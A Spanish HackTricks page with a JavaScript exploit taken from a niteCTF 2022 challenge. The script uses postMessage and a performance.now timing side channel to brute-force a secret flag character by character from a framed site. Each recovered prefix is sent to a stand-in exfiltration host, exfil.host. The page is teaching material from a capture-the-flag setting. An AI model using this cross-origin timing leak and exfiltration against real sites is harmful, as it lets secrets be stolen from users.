performance.now example
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
Obtén el swag oficial de PEASS & HackTricks
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Ejemplo tomado de https://ctf.zeyu2001.com/2022/nitectf-2022/js-api
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
async function check(flag) {
let w = frame.contentWindow;
w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
await sleep(1);
w.postMessage({'op': 'search', 'payload': flag}, '*');
let t1 = performance.now();
await sleep(1);
return (performance.now() - t1) > 200;
}
async function main() {
let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
window.frame = document.createElement('iframe');
frame.width = '100%';
frame.height = '700px';
frame.src = 'https://challenge.jsapi.tech/';
document.body.appendChild(frame);
await sleep(1000);
let flag = 'nite{';
while(1) {
for(let c of alpha) {
let result = await Promise.race([
check(flag + c),
new Promise((res) => setTimeout(() => { res(true); }, 300))
]);
console.log(flag + c, result);
if(result) {
flag += c;
break;
}
}
new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
}
}
document.addEventListener('DOMContentLoaded', main);
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)!
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
Obtén el oficial PEASS & HackTricks swag
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Última actualización